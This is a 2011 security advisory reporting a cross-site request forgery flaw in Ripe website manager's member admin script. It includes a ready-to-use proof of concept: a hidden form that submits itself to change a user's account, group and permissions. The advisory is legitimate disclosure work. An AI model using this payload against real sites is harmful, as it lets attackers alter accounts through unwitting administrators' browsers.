HTB22898: XSRF (CSRF) in Ripe website manager

2011-03-25T00:00:00
ID SECURITYVULNS:DOC:26000
Type securityvulns
Reporter Securityvulns
Modified 2011-03-25T00:00:00

Description

Vulnerability ID: HTB22898 Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_ripe_website_manager.html Product: Ripe website manager Vendor: Ripe website manager Team ( http://www.ripewebsitemanager.com/ ) Vulnerable Version: 1.1 and probably prior versions Vendor Notification: 10 March 2011 Vulnerability Type: CSRF (Cross-Site Request Forgery) Risk level: Low Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details: The vulnerability exists due to failure in the "ripe/modules/members/admin.php" script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/ripe/?v=5&a=2&id=USERID" method="post" name="main"> <input type="hidden" name="actionformSubmit" value="1"> <input type="hidden" name="x" value="1"> <input type="hidden" name="y" value="1"> <input type="hidden" name="ripe_user" value="test"> <input type="hidden" name="ripe_name" value="test test"> <input type="hidden" name="ripe_email" value="email@example.com"> <input type="hidden" name="ripe_group" value="2"> <input type="hidden" name="ripe_new_pass" value=""> <input type="hidden" name="ripe_new_pass2" value="">

<input type="hidden" name="a_pages" value=" "> <input type="hidden" name="a_menus" value=" "> <input type="hidden" name="a_files" value=" "> <input type="hidden" name="a_stats" value=" "> <input type="hidden" name="a_forms" value=" "> <input type="hidden" name="a_adverts" value=" "> <input type="hidden" name="a_users" value=" "> <input type="hidden" name="a_templates" value=" ">

<input type="hidden" name="change" value="change"> <input type="hidden" name="id" value="USERID">

</form> <script> document.main.submit(); </script>